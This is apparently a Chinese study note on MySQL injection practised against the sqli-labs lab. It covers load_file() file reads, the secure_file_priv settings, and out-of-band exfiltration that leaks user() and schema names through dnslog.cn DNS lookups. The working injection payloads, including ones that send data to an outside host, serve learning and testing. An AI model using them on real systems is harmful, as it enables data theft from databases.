一,读文件
1,读文件函数:load_file() 只能用来读取文件不能读取目录 并且(文件路径要使用 \\ [双斜线]或者 / [反斜线] )
2,读写文件权限:
secure_file_priv= //对读写文件没有限制
secure_file_priv=NULL //不能进行读写文件
secure_file_priv=“D:/software/phpStudy/PHPTutorial/MySQL/data/“ ps:只能在固定文件夹下进行读写文件
3,读文件实例:以sqli-labs-master第二个为例:
注入语句:
union select 1,2,load_file("C:\\Windows\\System32\\drivers\\etc\\hosts") -- -
二,代外攻击
Load_file():load_file不仅可以用来读取本地敏感文件还可以用来读取网络上的文件
dnslog.cn(网站):根据DNS浏览记录产生回显
注意:当回显结果中夹杂着特殊符号的时候,使用十六进制编码的形式进行绕过
代外攻击基础语句:
and select load_file(concat(“\\\\”,hex(user()), “. 8bzoqi.dnslog.cn\\a.txt”)) -- -
在代外攻击时不能使用group_concat()函数,好使用limit()函数
实例:
代外攻击主要解决了,在注入过程中没有显示位,使用dnsdnslog.cn网站的特性来让我们的注入语句产生回显
下面以sqli-labs-master第八关为例:
第一步:获取一个域名
第二步:
准备语句:
and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".li17a4.dnslog.cn\\a.txt")) -- -
ps:li17a4.dnslog.cn是复制下来的域名
a.txt是随便写的一个不存在的文件
注意:li17a4.dnslog.cn 域名前加 .
三,写文件
写文件常用函数:
into outfile()
into dumpfile()
写文件权限问题:secure_file_priv=
实列:
技术无罪,向阳而生,请别因为技术而走向深渊!!